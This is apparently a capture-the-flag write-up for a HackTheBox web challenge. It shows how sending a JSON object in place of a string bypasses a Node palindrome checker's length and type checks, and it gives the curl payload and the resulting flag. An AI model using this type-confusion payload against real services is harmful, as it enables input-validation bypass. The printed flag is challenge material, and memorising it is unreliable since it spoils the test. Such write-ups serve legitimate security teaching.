Note
The checker rejects strings shorter than 1000 and compares string[i] vs string[len-i-1]. Send palindrome as an object {'NaN':'','0':''} so obj.length is undefined (undefined<1000 is false, passing the length gate), Array(undefined).keys() yields one i=0, and obj[0] === obj[NaN] === '' (both strings) — every check passes and the flag prints, all under nginx's 75-byte body cap.
Magical Palindrome — JSON object defeats a JS palindrome check
Platform: HackTheBox · Category: Web (server-side) · Stack: Node (Hono) behind nginx
Challenge overview
POST a palindrome and, if it's a "valid" palindrome of length ≥ 1000, the server returns the flag:
const IsPalinDrome = (string) => {
if (string.length < 1000) return 'Tootus Shortus';
for (const i of Array(string.length).keys()) {
const original = string[i];
const reverse = string[string.length - i - 1];
if (original !== reverse || typeof original !== 'string') return 'Notter Palindromer!!';
}
return null; // valid -> flag
};
app.post('/', async (c) => {
const {palindrome} = await c.req.json();
return IsPalinDrome(palindrome) ? c.text(error,400) : c.text(`Hii Harry!!! ${flag}`);
});
nginx caps the request body at 75 bytes (client_max_body_size 75), so we can't actually send 1000
real characters. The input is JSON with no type check — so send an object, not a string.
The exploit — {"palindrome":{"NaN":"","0":""}}
Walk the checker with string = {"NaN":"", "0":""}:
string.lengthisundefined.undefined < 1000is false, so the length gate is passed.Array(string.length).keys()=Array(undefined).keys()→ a one-element iterator yieldingi = 0.- Iteration
i = 0:original = string[0]=obj["0"]="".reverse = string[string.length - 0 - 1]=string[undefined - 1]=string[NaN]=obj["NaN"]="".original !== reverse→"" !== ""→ false;typeof original !== 'string'→typeof "" === 'string'→ false.
- No early return → returns
null→ flag.
curl -s http://target/ -H 'Content-Type: application/json' \
--data-raw '{"palindrome":{"NaN":"","0":""}}'
# Hii Harry!!! HTB{Lum0s_M@x!ma}
Flag: HTB{Lum0s_M@x!ma}
Takeaways (generalized techniques)
- Untyped JSON → pass an object where a string is expected.
obj.lengthisundefined, and almost every numeric comparison againstundefined/NaNisfalse, so length/size guards silently pass. Array(undefined)has length 1, so an index loop runs exactly once — and you fully control which keys ("0","NaN") the body reads via bracket access. Craft the object so the single comparison is trivially satisfied.- Body-size limits don't help when the check is logically bypassable: the object payload is tiny, so
nginx's
client_max_body_sizeis irrelevant once you stop sending an actual long string.
Sources & references
- Challenge source:
hackthebox/web/magical_palindrome